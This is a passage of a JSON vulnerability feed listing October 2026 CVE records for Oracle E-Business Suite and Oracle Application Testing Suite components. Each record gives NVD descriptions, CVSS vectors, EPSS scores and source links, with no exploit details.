fixes.","publishedAt":"2026-10-20T22:18:05.103Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101554","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00289,"percentile":0.21276,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101554&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101554","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101554","type":"primary","publishedAt":"2026-10-20T22:18:05.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101554&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101554, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101552","cveId":"CVE-2026-101552","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Flexfields).","summary":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Flexfields).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Flexfields).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:04.793Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101552","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0037,"percentile":0.3071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101552&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101552","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101552","type":"primary","publishedAt":"2026-10-20T22:18:04.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101552&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101552, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101551","cveId":"CVE-2026-101551","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces).","summary":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Applications Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Applications Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:04.670Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101551","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00398,"percentile":0.3373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101551&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101551","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101551","type":"primary","publishedAt":"2026-10-20T22:18:04.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101551&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101551, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101549","cveId":"CVE-2026-101549","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Application Testing Suite (component: OpenScript).","summary":"Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:04.560Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101549","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00152,"percentile":0.04255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101549&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101549","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101549","type":"primary","publishedAt":"2026-10-20T22:18:04.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101549&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101549, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101548","cveId":"CVE-2026-101548","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Application Testing Suite (component: OpenScript).","summary":"Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Application Testing Suite (component: OpenScript).   The supported version that is affected is 13.3.0.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:04.443Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101548","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00123,"percentile":0.02036,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101548&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101548","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101548","type":"primary","publishedAt":"2026-10-20T22:18:04.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101548&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101548, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101546","cveId":"CVE-2026-101546","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Materials Requirement Planning product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Materials Requirement Planning product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Materials Requirement Planning.  Successful attacks of this vulnerability can result in takeover of Oracle Materials Requirement Planning. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Materials Requirement Planning product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Materials Requirement Planning.  Successful attacks of this vulnerability can result in takeover of Oracle Materials Requirement Planning. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:04.200Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101546","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0037,"percentile":0.3071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101546&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101546","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101546","type":"primary","publishedAt":"2026-10-20T22:18:04.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101546&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101546, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101545","cveId":"CVE-2026-101545","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Inventory Management product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Inventory Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Inventory Management executes to compromise Oracle Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Inventory Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Inventory Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Inventory Management executes to compromise Oracle Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Inventory Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:04.080Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101545","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00101,"percentile":0.00868,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101545&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101545","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101545","type":"primary","publishedAt":"2026-10-20T22:18:04.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101545&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101545, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101544","cveId":"CVE-2026-101544","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Payroll executes to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Payroll executes to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:03.963Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101544","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00101,"percentile":0.00869,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101544&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101544","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101544","type":"primary","publishedAt":"2026-10-20T22:18:03.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101544&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101544, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101543","cveId":"CVE-2026-101543","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:03.850Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101543","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00289,"percentile":0.21275,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101543","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101543","type":"primary","publishedAt":"2026-10-20T22:18:03.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101542","cveId":"CVE-2026-101542","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:03.727Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101542","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00352,"percentile":0.28617,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101542&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101542","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101542","type":"primary","publishedAt":"2026-10-20T22:18:03.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101542&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101542, scored 2026-10-25. This is a model estimate, not proof of 